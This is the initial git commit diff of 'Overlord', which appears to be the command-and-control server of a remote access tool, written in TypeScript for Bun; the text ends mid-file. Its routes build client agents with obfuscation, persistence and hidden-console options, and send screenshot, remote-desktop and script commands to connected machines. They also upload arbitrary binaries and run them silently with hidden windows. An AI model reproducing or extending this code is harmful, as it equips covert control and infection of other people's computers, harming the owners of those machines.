inital commit

This commit is contained in:
KingKDot
2026-03-05 00:04:26 -06:00
commit f8515a2883
269 changed files with 47081 additions and 0 deletions
@@ -0,0 +1,43 @@
import path from "path";
type AssetsRouteDeps = {
PUBLIC_ROOT: string;
secureHeaders: (contentType?: string) => Record<string, string>;
mimeType: (path: string) => string;
};
export async function handleAssetsRoutes(
req: Request,
url: URL,
deps: AssetsRouteDeps,
): Promise<Response | null> {
if (!(req.method === "GET" && url.pathname.startsWith("/assets/"))) {
return null;
}
let decodedPath = url.pathname;
try {
decodedPath = decodeURIComponent(url.pathname);
} catch {
return new Response("Bad request", { status: 400 });
}
if (decodedPath.includes("\u0000")) {
return new Response("Not found", { status: 404 });
}
const assetsRoot = path.join(deps.PUBLIC_ROOT, "assets");
const relativePath = decodedPath.replace(/^\/assets\//, "");
const resolvedPath = path.resolve(assetsRoot, relativePath);
const rootWithSep = assetsRoot.endsWith(path.sep) ? assetsRoot : `${assetsRoot}${path.sep}`;
if (!resolvedPath.startsWith(rootWithSep)) {
return new Response("Not found", { status: 404 });
}
const file = Bun.file(resolvedPath);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType(url.pathname)) });
}
return new Response("Not found", { status: 404 });
}
@@ -0,0 +1,179 @@
import {
authenticateRequest,
authenticateUser,
extractTokenFromRequest,
generateToken,
getUserFromRequest,
revokeToken,
} from "../../auth";
import { AuditAction, logAudit } from "../../auditLog";
import { logger } from "../../logger";
import {
isRateLimited,
recordFailedAttempt,
recordSuccessfulAttempt,
} from "../../rateLimit";
import { getUserById } from "../../users";
type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined;
};
export async function handleAuthRoutes(
req: Request,
url: URL,
server: RequestIpProvider,
): Promise<Response | null> {
if (req.method === "POST" && url.pathname === "/api/login") {
const ip = server.requestIP(req)?.address || "unknown";
const rateLimitCheck = isRateLimited(ip);
if (rateLimitCheck.limited) {
logAudit({
timestamp: Date.now(),
username: "unknown",
ip,
action: AuditAction.LOGIN_FAILED,
success: false,
errorMessage: "Rate limited",
});
return new Response(
JSON.stringify({
ok: false,
error: `Too many failed attempts. Please try again in ${rateLimitCheck.retryAfter} seconds.`,
}),
{
status: 429,
headers: {
"Content-Type": "application/json",
"Retry-After": String(rateLimitCheck.retryAfter),
},
},
);
}
try {
const body = await req.json();
const username = body?.user || "";
const password = body?.pass || "";
const user = await authenticateUser(username, password);
if (user) {
const token = await generateToken(user);
logger.info(
`[auth] User ${user.username} logged in. must_change_password =`,
user.must_change_password,
`(type: ${typeof user.must_change_password})`,
);
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.LOGIN,
success: true,
});
recordSuccessfulAttempt(ip);
return new Response(
JSON.stringify({
ok: true,
token,
user: {
username: user.username,
role: user.role,
id: user.id,
mustChangePassword: Boolean(user.must_change_password),
},
}),
{
headers: {
"Content-Type": "application/json",
"Set-Cookie": `overlord_token=${token}; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=604800`,
},
},
);
}
recordFailedAttempt(ip);
logAudit({
timestamp: Date.now(),
username,
ip,
action: AuditAction.LOGIN_FAILED,
success: false,
errorMessage: "Invalid credentials",
});
} catch (error) {
logger.error("[auth] Login error:", error);
logAudit({
timestamp: Date.now(),
username: "unknown",
ip,
action: AuditAction.LOGIN_FAILED,
success: false,
errorMessage: String(error),
});
}
return new Response(JSON.stringify({ ok: false, error: "Invalid credentials" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
if (req.method === "POST" && url.pathname === "/api/logout") {
const ip = server.requestIP(req)?.address || "unknown";
const user = await getUserFromRequest(req);
const token = extractTokenFromRequest(req);
if (token) {
revokeToken(token);
}
logAudit({
timestamp: Date.now(),
username: user?.username || "unknown",
ip,
action: AuditAction.LOGOUT,
success: true,
});
return new Response(JSON.stringify({ ok: true }), {
headers: {
"Content-Type": "application/json",
"Set-Cookie": `overlord_token=; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=0`,
},
});
}
if (req.method === "GET" && url.pathname === "/api/auth/me") {
const user = await authenticateRequest(req);
if (!user) {
return new Response(JSON.stringify({ error: "Not authenticated" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
const dbUser = getUserById(user.userId);
return new Response(
JSON.stringify({
username: user.username,
role: user.role,
userId: user.userId,
mustChangePassword: dbUser ? Boolean(dbUser.must_change_password) : false,
}),
{
headers: { "Content-Type": "application/json" },
},
);
}
return null;
}
@@ -0,0 +1,159 @@
import { authenticateRequest } from "../../auth";
import {
createAutoScript,
deleteAutoScript,
listAutoScripts,
type AutoScriptTrigger,
updateAutoScript,
} from "../../db";
import { requirePermission } from "../../rbac";
import { AUTO_SCRIPT_TRIGGERS, ALLOWED_SCRIPT_TYPES } from "../validation-constants";
import { v4 as uuidv4 } from "uuid";
export async function handleAutoScriptsRoutes(
req: Request,
url: URL,
): Promise<Response | null> {
if (req.method === "GET" && url.pathname === "/api/auto-scripts") {
const user = await authenticateRequest(req);
if (!user) {
return new Response(JSON.stringify({ error: "Not authenticated" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
try {
requirePermission(user, "clients:control");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
return Response.json({ items: listAutoScripts() });
}
if (req.method === "POST" && url.pathname === "/api/auto-scripts") {
const user = await authenticateRequest(req);
if (!user) {
return new Response(JSON.stringify({ error: "Not authenticated" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
try {
requirePermission(user, "clients:control");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
let body: any = {};
try {
body = await req.json();
} catch {
return Response.json({ error: "Invalid JSON" }, { status: 400 });
}
const name = String(body?.name || "").trim();
const triggerRaw = String(body?.trigger || "").trim() as AutoScriptTrigger;
const script = String(body?.script || "");
const scriptTypeRaw = String(body?.scriptType || "powershell").trim();
const enabled = typeof body?.enabled === "boolean" ? body.enabled : true;
if (!name) {
return Response.json({ error: "Name is required" }, { status: 400 });
}
if (!script.trim()) {
return Response.json({ error: "Script is required" }, { status: 400 });
}
if (!AUTO_SCRIPT_TRIGGERS.has(triggerRaw)) {
return Response.json({ error: "Invalid trigger" }, { status: 400 });
}
const scriptType = ALLOWED_SCRIPT_TYPES.has(scriptTypeRaw)
? scriptTypeRaw
: "powershell";
const item = createAutoScript({
id: uuidv4(),
name,
trigger: triggerRaw,
script,
scriptType,
enabled,
});
return Response.json({ ok: true, item });
}
const autoScriptMatch = url.pathname.match(/^\/api\/auto-scripts\/(.+)$/);
if (autoScriptMatch && req.method === "PUT") {
const user = await authenticateRequest(req);
if (!user) {
return new Response(JSON.stringify({ error: "Not authenticated" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
try {
requirePermission(user, "clients:control");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
let body: any = {};
try {
body = await req.json();
} catch {
return Response.json({ error: "Invalid JSON" }, { status: 400 });
}
const triggerRaw = body?.trigger ? String(body.trigger).trim() : undefined;
if (triggerRaw && !AUTO_SCRIPT_TRIGGERS.has(triggerRaw as AutoScriptTrigger)) {
return Response.json({ error: "Invalid trigger" }, { status: 400 });
}
const scriptTypeRaw = body?.scriptType ? String(body.scriptType).trim() : undefined;
const scriptType = scriptTypeRaw
? ALLOWED_SCRIPT_TYPES.has(scriptTypeRaw)
? scriptTypeRaw
: "powershell"
: undefined;
const updated = updateAutoScript(autoScriptMatch[1], {
name: body?.name ? String(body.name).trim() : undefined,
trigger: triggerRaw as AutoScriptTrigger | undefined,
script: body?.script ? String(body.script) : undefined,
scriptType,
enabled: typeof body?.enabled === "boolean" ? body.enabled : undefined,
});
if (!updated) {
return Response.json({ error: "Not found" }, { status: 404 });
}
return Response.json({ ok: true, item: updated });
}
if (autoScriptMatch && req.method === "DELETE") {
const user = await authenticateRequest(req);
if (!user) {
return new Response(JSON.stringify({ error: "Not authenticated" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
try {
requirePermission(user, "clients:control");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
deleteAutoScript(autoScriptMatch[1]);
return Response.json({ ok: true });
}
return null;
}
@@ -0,0 +1,295 @@
import { v4 as uuidv4 } from "uuid";
import { authenticateRequest } from "../../auth";
import { AuditAction, logAudit } from "../../auditLog";
import * as buildManager from "../../build/buildManager";
import { deleteBuild, getAllBuilds, getBuild } from "../../db";
import { requirePermission } from "../../rbac";
import { logger } from "../../logger";
import path from "path";
import { resolveRuntimeRoot } from "../runtime-paths";
type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined;
};
type BuildRouteDeps = {
startBuildProcess: (buildId: string, config: any) => Promise<void>;
sanitizeMutex: (value?: string) => string | undefined;
allowedPlatforms: Set<string>;
};
export async function handleBuildRoutes(
req: Request,
url: URL,
server: RequestIpProvider,
deps: BuildRouteDeps,
): Promise<Response | null> {
if (!url.pathname.startsWith("/api/build")) {
return null;
}
try {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (req.method === "POST" && url.pathname === "/api/build/start") {
requirePermission(user, "clients:control");
const body = await req.json();
const {
platforms,
serverUrl,
rawServerList,
stripDebug,
disableCgo,
obfuscate,
enablePersistence,
mutex,
disableMutex,
hideConsole,
noPrinting,
} = body;
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
return Response.json({ error: "No platforms specified" }, { status: 400 });
}
let safeMutex: string | undefined;
try {
safeMutex = typeof mutex === "string" ? deps.sanitizeMutex(mutex) : undefined;
} catch (err: any) {
return Response.json({ error: err?.message || "Invalid mutex" }, { status: 400 });
}
const safeDisableMutex = !!disableMutex;
const sanitizedPlatforms = platforms.filter((p: string) => typeof p === "string");
if (sanitizedPlatforms.length !== platforms.length) {
return Response.json({ error: "Invalid platform entries" }, { status: 400 });
}
const allowedPlatforms = sanitizedPlatforms.filter((p: string) =>
deps.allowedPlatforms.has(p),
);
if (allowedPlatforms.length === 0) {
return Response.json({ error: "No valid platforms specified" }, { status: 400 });
}
const safeRawServerList = !!rawServerList;
const safeServerUrl =
typeof serverUrl === "string" && serverUrl.trim() !== ""
? serverUrl.trim()
: undefined;
if (safeRawServerList) {
if (!safeServerUrl) {
return Response.json(
{ error: "Raw server list requires a server URL" },
{ status: 400 },
);
}
try {
const parsed = new URL(safeServerUrl);
if (parsed.protocol !== "https:") {
return Response.json(
{ error: "Raw server list URL must use https" },
{ status: 400 },
);
}
} catch {
return Response.json({ error: "Invalid raw server list URL" }, { status: 400 });
}
}
const buildId = uuidv4();
const ip = server.requestIP(req)?.address || "unknown";
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.COMMAND,
details: `Started build ${buildId} for platforms: ${allowedPlatforms.join(", ")}`,
success: true,
});
const safeNoPrinting = !!noPrinting;
deps.startBuildProcess(buildId, {
platforms: allowedPlatforms,
serverUrl: safeServerUrl,
rawServerList: safeRawServerList,
mutex: safeMutex,
disableMutex: safeDisableMutex,
stripDebug,
disableCgo,
obfuscate: !!obfuscate,
enablePersistence,
hideConsole: !!hideConsole,
noPrinting: safeNoPrinting,
});
return Response.json({ buildId });
}
if (req.method === "GET" && url.pathname === "/api/build/list") {
requirePermission(user, "clients:control");
const builds = getAllBuilds();
return Response.json({ builds });
}
if (req.method === "DELETE" && url.pathname.match(/^\/api\/build\/(.+)\/delete$/)) {
requirePermission(user, "clients:control");
const buildId = url.pathname.split("/")[3];
buildManager.deleteBuildStream(buildId);
deleteBuild(buildId);
const ip = server.requestIP(req)?.address || "unknown";
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.COMMAND,
details: `Deleted build ${buildId}`,
success: true,
});
return Response.json({ success: true });
}
if (req.method === "GET" && url.pathname.match(/^\/api\/build\/(.+)\/stream$/)) {
requirePermission(user, "clients:control");
const buildId = url.pathname.split("/")[3];
const build = buildManager.getBuildStream(buildId);
if (!build) {
return Response.json({ error: "Build not found" }, { status: 404 });
}
logger.info(`[build:${buildId.substring(0, 8)}] Client connected to stream`);
const stream = new ReadableStream({
start(controller) {
build.controllers.push(controller);
logger.info(
`[build:${buildId.substring(0, 8)}] Added controller, total: ${build.controllers.length}`,
);
const encoder = new TextEncoder();
try {
controller.enqueue(
encoder.encode(
`data: ${JSON.stringify({ type: "status", text: "Connected to build stream" })}\n\n`,
),
);
} catch (err) {
logger.error(
`[build:${buildId.substring(0, 8)}] Failed to send initial message:`,
err,
);
}
},
cancel() {
const index = build.controllers.indexOf(this as any);
if (index > -1) {
build.controllers.splice(index, 1);
logger.info(
`[build:${buildId.substring(0, 8)}] Controller removed, remaining: ${build.controllers.length}`,
);
}
},
});
return new Response(stream, {
headers: {
"Content-Type": "text/event-stream",
"Cache-Control": "no-cache",
Connection: "keep-alive",
"X-Accel-Buffering": "no",
},
});
}
if (req.method === "GET" && url.pathname.match(/^\/api\/build\/(.+)\/info$/)) {
requirePermission(user, "clients:control");
const buildId = url.pathname.split("/")[3];
const build = buildManager.getBuildStream(buildId);
if (!build) {
const dbBuild = getBuild(buildId);
if (!dbBuild) {
return Response.json({ error: "Build not found" }, { status: 404 });
}
return Response.json({
id: dbBuild.id,
status: dbBuild.status,
startTime: dbBuild.startTime,
expiresAt: dbBuild.expiresAt,
files: dbBuild.files,
});
}
return Response.json({
id: build.id,
status: build.status,
startTime: build.startTime,
expiresAt: build.expiresAt,
files: build.files,
});
}
if (req.method === "GET" && url.pathname.match(/^\/api\/build\/download\//)) {
requirePermission(user, "clients:control");
const rawName = url.pathname.split("/api/build/download/")[1] || "";
let fileName = rawName;
try {
fileName = decodeURIComponent(rawName);
} catch {
return Response.json({ error: "Bad request" }, { status: 400 });
}
if (
!fileName ||
fileName.includes("\u0000") ||
fileName.includes("/") ||
fileName.includes("\\")
) {
return Response.json({ error: "File not found" }, { status: 404 });
}
const rootDir = resolveRuntimeRoot();
const distRoot = path.resolve(rootDir, "dist-clients");
const filePath = path.resolve(distRoot, fileName);
const rootWithSep = distRoot.endsWith(path.sep)
? distRoot
: `${distRoot}${path.sep}`;
if (!filePath.startsWith(rootWithSep)) {
return Response.json({ error: "File not found" }, { status: 404 });
}
const file = Bun.file(filePath);
if (!(await file.exists())) {
return Response.json({ error: "File not found" }, { status: 404 });
}
return new Response(file, {
headers: {
"Content-Type": "application/octet-stream",
"Content-Disposition": `attachment; filename="${fileName}"`,
},
});
}
return new Response("Not found", { status: 404 });
} catch (error) {
if (error instanceof Response) {
return error;
}
logger.error("[build] API error:", error);
return Response.json({ error: "Internal server error" }, { status: 500 });
}
}
@@ -0,0 +1,314 @@
import { v4 as uuidv4 } from "uuid";
import { authenticateRequest } from "../../auth";
import { AuditAction, logAudit } from "../../auditLog";
import * as clientManager from "../../clientManager";
import {
banIp,
deleteClientRow,
getClientIp,
listClients,
setOnlineState,
} from "../../db";
import { metrics } from "../../metrics";
import { encodeMessage } from "../../protocol";
import { requirePermission } from "../../rbac";
type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined;
};
type PendingScript = {
resolve: (result: any) => void;
reject: (error: any) => void;
timeout: NodeJS.Timeout;
};
type ClientRouteDeps = {
CORS_HEADERS: Record<string, string>;
pendingScripts: Map<string, PendingScript>;
};
export async function handleClientRoutes(
req: Request,
url: URL,
server: RequestIpProvider,
deps: ClientRouteDeps,
): Promise<Response | null> {
if (
!url.pathname.startsWith("/api/clients") &&
!url.pathname.match(/^\/api\/clients\/.+\/command$/)
) {
return null;
}
if (url.pathname === "/api/clients") {
if (!(await authenticateRequest(req))) {
return new Response("Unauthorized", { status: 401 });
}
const page = Math.max(1, Number(url.searchParams.get("page") || 1));
const pageSize = Math.max(1, Number(url.searchParams.get("pageSize") || 12));
const search = (url.searchParams.get("q") || "").toLowerCase().trim();
const sort = url.searchParams.get("sort") || "last_seen_desc";
const statusFilter = url.searchParams.get("status") || "all";
const osFilter = url.searchParams.get("os") || "all";
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter });
return Response.json(result, { headers: deps.CORS_HEADERS });
}
const banMatch = url.pathname.match(/^\/api\/clients\/(.+)\/ban$/);
if (req.method === "POST" && banMatch) {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
try {
requirePermission(user, "clients:control");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const targetId = banMatch[1];
const target = clientManager.getClient(targetId);
const targetIp = target?.ip || getClientIp(targetId);
if (!targetIp) {
return Response.json({ error: "Client IP not found" }, { status: 404 });
}
banIp(targetIp, `Banned by ${user.username} for client ${targetId}`);
if (target) {
try {
target.ws.close(4003, "banned");
} catch {}
setOnlineState(targetId, false);
}
const ip = server.requestIP(req)?.address || "unknown";
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.COMMAND,
targetClientId: targetId,
details: `Banned IP ${targetIp}`,
success: true,
});
return Response.json({ ok: true, ip: targetIp });
}
const thumbnailMatch = url.pathname.match(/^\/api\/clients\/(.+)\/thumbnail$/);
if (req.method === "POST" && thumbnailMatch) {
if (!(await authenticateRequest(req))) {
return new Response("Unauthorized", { status: 401 });
}
const clientId = thumbnailMatch[1];
const { generateThumbnail, markThumbnailRequested } = await import("../../thumbnails");
markThumbnailRequested(clientId);
const target = clientManager.getClient(clientId);
if (target?.online) {
const commandId = uuidv4();
target.ws.send(
encodeMessage({
type: "command",
commandType: "screenshot",
id: commandId,
payload: { mode: "notification", allDisplays: true },
}),
);
metrics.recordCommand("screenshot");
}
const success = generateThumbnail(clientId);
return Response.json({ ok: true, updated: success }, { headers: deps.CORS_HEADERS });
}
if (req.method === "POST") {
const cmdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/command$/);
if (cmdMatch) {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
try {
requirePermission(user, "clients:control");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const targetId = cmdMatch[1];
const target = clientManager.getClient(targetId);
const ip = server.requestIP(req)?.address || "unknown";
if (!target) return new Response("Not found", { status: 404 });
try {
const body = await req.json();
const action = body?.action;
let success = true;
if (action === "ping") {
const nonce = Date.now() + Math.floor(Math.random() * 1000);
target.lastPingSent = Date.now();
target.lastPingNonce = nonce;
target.ws.send(encodeMessage({ type: "ping", ts: nonce }));
} else if (action === "ping_bulk") {
const count = Math.max(1, Math.min(1000, Number(body?.count || 1)));
for (let i = 0; i < count; i++) {
}
} else if (action === "disconnect") {
target.ws.send(encodeMessage({ type: "command", commandType: "disconnect", id: uuidv4() }));
metrics.recordCommand("disconnect");
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.DISCONNECT,
targetClientId: targetId,
success: true,
});
} else if (action === "reconnect") {
target.ws.send(encodeMessage({ type: "command", commandType: "reconnect", id: uuidv4() }));
metrics.recordCommand("reconnect");
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.RECONNECT,
targetClientId: targetId,
success: true,
});
} else if (action === "screenshot") {
target.ws.send(
encodeMessage({
type: "command",
commandType: "screenshot",
id: uuidv4(),
payload: { mode: "notification", allDisplays: true },
}),
);
metrics.recordCommand("screenshot");
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.SCREENSHOT,
targetClientId: targetId,
success: true,
});
} else if (action === "desktop_start") {
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_start", id: uuidv4() }));
metrics.recordCommand("desktop_start");
} else if (action === "script_exec") {
const scriptContent = body?.script || "";
const scriptType = body?.scriptType || "powershell";
const cmdId = uuidv4();
const resultPromise = new Promise((resolve, reject) => {
const timeout = setTimeout(() => {
deps.pendingScripts.delete(cmdId);
reject(new Error("Script execution timed out after 5 minutes"));
}, 5 * 60 * 1000);
deps.pendingScripts.set(cmdId, { resolve, reject, timeout });
});
target.ws.send(encodeMessage({
type: "command",
commandType: "script_exec",
id: cmdId,
payload: { script: scriptContent, type: scriptType },
}));
metrics.recordCommand("script_exec");
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.SCRIPT_EXECUTE,
targetClientId: targetId,
success: true,
details: `script_exec (${scriptType})`,
});
try {
const result = await resultPromise;
return Response.json(result);
} catch (error: any) {
return Response.json({ ok: false, error: error.message }, { status: 500 });
}
} else if (action === "silent_exec") {
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
const command = typeof body?.command === "string" ? body.command.trim() : "";
const args = typeof body?.args === "string" ? body.args : "";
const cwd = typeof body?.cwd === "string" ? body.cwd : "";
if (!command) {
return new Response("Bad request", { status: 400 });
}
const cmdId = uuidv4();
target.ws.send(
encodeMessage({
type: "command",
commandType: "silent_exec",
id: cmdId,
payload: { command, args, cwd },
}),
);
metrics.recordCommand("silent_exec");
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.SILENT_EXECUTE,
targetClientId: targetId,
success: true,
details: JSON.stringify({ command, args, cwd }),
});
} else if (action === "uninstall") {
target.ws.send(encodeMessage({ type: "command", commandType: "uninstall", id: uuidv4() }));
metrics.recordCommand("uninstall");
deleteClientRow(targetId);
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.UNINSTALL,
targetClientId: targetId,
details: "Agent uninstall requested - persistence will be removed",
success: true,
});
} else {
success = false;
return new Response("Bad request", { status: 400 });
}
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.COMMAND,
targetClientId: targetId,
details: action,
success,
});
return Response.json({ ok: true });
} catch (error) {
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.COMMAND,
targetClientId: targetId,
success: false,
errorMessage: String(error),
});
return new Response("Bad request", { status: 400 });
}
}
}
return null;
}
@@ -0,0 +1,328 @@
import fs from "fs/promises";
import path from "path";
import { v4 as uuidv4 } from "uuid";
import { authenticateRequest } from "../../auth";
import { AuditAction, logAudit } from "../../auditLog";
import * as clientManager from "../../clientManager";
import { metrics } from "../../metrics";
import { encodeMessage } from "../../protocol";
type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined;
};
type DeployOs = "windows" | "mac" | "linux" | "unix" | "unknown";
type DeployUpload = {
id: string;
path: string;
name: string;
size: number;
os: DeployOs;
};
type DeployRouteDeps = {
DEPLOY_ROOT: string;
deployUploads: Map<string, DeployUpload>;
detectUploadOs: (filename: string, bytes: Uint8Array) => DeployOs;
normalizeClientOs: (os?: string) => DeployOs;
};
export async function handleDeployRoutes(
req: Request,
url: URL,
server: RequestIpProvider,
deps: DeployRouteDeps,
): Promise<Response | null> {
if (!url.pathname.startsWith("/api/deploy")) {
return null;
}
if (req.method === "POST" && url.pathname === "/api/deploy/upload") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
let form: FormData;
try {
form = await req.formData();
} catch {
return new Response("Bad request", { status: 400 });
}
const file = form.get("file");
if (!(file instanceof File)) {
return new Response("Missing file", { status: 400 });
}
const filename = path.basename(file.name || "upload.bin");
const id = uuidv4();
await fs.mkdir(deps.DEPLOY_ROOT, { recursive: true });
const folder = path.join(deps.DEPLOY_ROOT, id);
await fs.mkdir(folder, { recursive: true });
const targetPath = path.join(folder, filename);
const bytes = new Uint8Array(await file.arrayBuffer());
await fs.writeFile(targetPath, bytes);
const os = deps.detectUploadOs(filename, bytes);
const entry: DeployUpload = {
id,
path: targetPath,
name: filename,
size: bytes.length,
os,
};
deps.deployUploads.set(id, entry);
return Response.json({ ok: true, uploadId: id, os, name: filename, size: bytes.length });
}
if (req.method === "POST" && url.pathname === "/api/deploy/run") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
let body: any = {};
try {
body = await req.json();
} catch {
return new Response("Bad request", { status: 400 });
}
const uploadId = typeof body?.uploadId === "string" ? body.uploadId : "";
const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
const args = typeof body?.args === "string" ? body.args : "";
const hideWindow = body?.hideWindow !== false;
if (!uploadId || clientIds.length === 0) {
return new Response("Bad request", { status: 400 });
}
const upload = deps.deployUploads.get(uploadId);
if (!upload) {
return new Response("Not found", { status: 404 });
}
const bytes = new Uint8Array(await fs.readFile(upload.path));
const chunkSize = 256 * 1024;
const results: Array<{ clientId: string; ok: boolean; reason?: string; command?: string }> = [];
const formatCommandDisplay = (commandPath: string, commandArgs: string) => {
const trimmedArgs = commandArgs.trim();
const needsQuotes = commandPath.includes(" ");
const displayCommand = needsQuotes ? `"${commandPath}"` : commandPath;
if (!trimmedArgs) {
return displayCommand;
}
return `${displayCommand} ${trimmedArgs}`;
};
for (const clientId of clientIds) {
const target = clientManager.getClient(clientId);
if (!target) {
results.push({ clientId, ok: false, reason: "offline" });
continue;
}
const clientOs = deps.normalizeClientOs(target.os);
const osMismatch =
upload.os !== "unknown" &&
!(
upload.os === clientOs ||
(upload.os === "unix" && (clientOs === "linux" || clientOs === "mac"))
);
if (osMismatch) {
results.push({ clientId, ok: false, reason: "os_mismatch" });
continue;
}
const dir = clientOs === "windows"
? `C:\\Windows\\Temp\\Overlord\\${upload.id}`
: `/tmp/overlord/${upload.id}`;
const destPath = clientOs === "windows"
? `${dir}\\${upload.name}`
: `${dir}/${upload.name}`;
target.ws.send(
encodeMessage({
type: "command",
commandType: "file_mkdir",
id: uuidv4(),
payload: { path: dir },
}),
);
for (let offset = 0; offset < bytes.length; offset += chunkSize) {
const chunk = bytes.subarray(offset, Math.min(offset + chunkSize, bytes.length));
target.ws.send(
encodeMessage({
type: "command",
commandType: "file_upload",
id: uuidv4(),
payload: { path: destPath, data: chunk, offset, total: bytes.length },
}),
);
}
if (clientOs !== "windows") {
target.ws.send(
encodeMessage({
type: "command",
commandType: "file_chmod",
id: uuidv4(),
payload: { path: destPath, mode: "0755" },
}),
);
}
const displayCommand = formatCommandDisplay(destPath, args);
target.ws.send(
encodeMessage({
type: "command",
commandType: "silent_exec",
id: uuidv4(),
payload: { command: destPath, args, hideWindow },
}),
);
metrics.recordCommand("silent_exec");
logAudit({
timestamp: Date.now(),
username: user.username,
ip: server.requestIP(req)?.address || "unknown",
action: AuditAction.SILENT_EXECUTE,
targetClientId: clientId,
success: true,
details: JSON.stringify({ uploadId, command: destPath, args }),
});
results.push({ clientId, ok: true, command: displayCommand });
}
return Response.json({ ok: true, results });
}
if (req.method === "POST" && url.pathname === "/api/deploy/update") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
let body: any = {};
try {
body = await req.json();
} catch {
return new Response("Bad request", { status: 400 });
}
const uploadId = typeof body?.uploadId === "string" ? body.uploadId : "";
const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
if (!uploadId || clientIds.length === 0) {
return new Response("Bad request", { status: 400 });
}
const upload = deps.deployUploads.get(uploadId);
if (!upload) {
return new Response("Not found", { status: 404 });
}
const bytes = new Uint8Array(await fs.readFile(upload.path));
const chunkSize = 256 * 1024;
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
for (const clientId of clientIds) {
const target = clientManager.getClient(clientId);
if (!target) {
results.push({ clientId, ok: false, reason: "offline" });
continue;
}
const clientOs = deps.normalizeClientOs(target.os);
const osMismatch =
upload.os !== "unknown" &&
!(
upload.os === clientOs ||
(upload.os === "unix" && (clientOs === "linux" || clientOs === "mac"))
);
if (osMismatch) {
results.push({ clientId, ok: false, reason: "os_mismatch" });
continue;
}
const dir = clientOs === "windows"
? `C:\\Windows\\Temp\\Overlord\\${upload.id}`
: `/tmp/overlord/${upload.id}`;
const destPath = clientOs === "windows"
? `${dir}\\${upload.name}`
: `${dir}/${upload.name}`;
target.ws.send(
encodeMessage({
type: "command",
commandType: "file_mkdir",
id: uuidv4(),
payload: { path: dir },
}),
);
for (let offset = 0; offset < bytes.length; offset += chunkSize) {
const chunk = bytes.subarray(offset, Math.min(offset + chunkSize, bytes.length));
target.ws.send(
encodeMessage({
type: "command",
commandType: "file_upload",
id: uuidv4(),
payload: { path: destPath, data: chunk, offset, total: bytes.length },
}),
);
}
if (clientOs !== "windows") {
target.ws.send(
encodeMessage({
type: "command",
commandType: "file_chmod",
id: uuidv4(),
payload: { path: destPath, mode: "0755" },
}),
);
}
target.ws.send(
encodeMessage({
type: "command",
commandType: "agent_update",
id: uuidv4(),
payload: { path: destPath },
}),
);
metrics.recordCommand("agent_update");
logAudit({
timestamp: Date.now(),
username: user.username,
ip: server.requestIP(req)?.address || "unknown",
action: AuditAction.AGENT_UPDATE,
targetClientId: clientId,
success: true,
details: JSON.stringify({ uploadId, path: destPath }),
});
results.push({ clientId, ok: true });
}
return Response.json({ ok: true, results });
}
return null;
}
@@ -0,0 +1,270 @@
import fs from "fs/promises";
import path from "path";
import { v4 as uuidv4 } from "uuid";
import { authenticateRequest } from "../../auth";
import { AuditAction, logAudit } from "../../auditLog";
import * as clientManager from "../../clientManager";
import { logger } from "../../logger";
import { encodeMessage } from "../../protocol";
type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined;
};
type PendingHttpDownload = {
commandId: string;
clientId: string;
path: string;
fileName: string;
total: number;
receivedBytes: number;
receivedOffsets: Set<number>;
receivedChunks: Set<number>;
chunkSize: number;
expectedChunks: number;
loggedTotal?: boolean;
loggedFirstChunk?: boolean;
tmpPath: string;
fileHandle: any;
resolve: (entry: PendingHttpDownload) => void;
reject: (error: Error) => void;
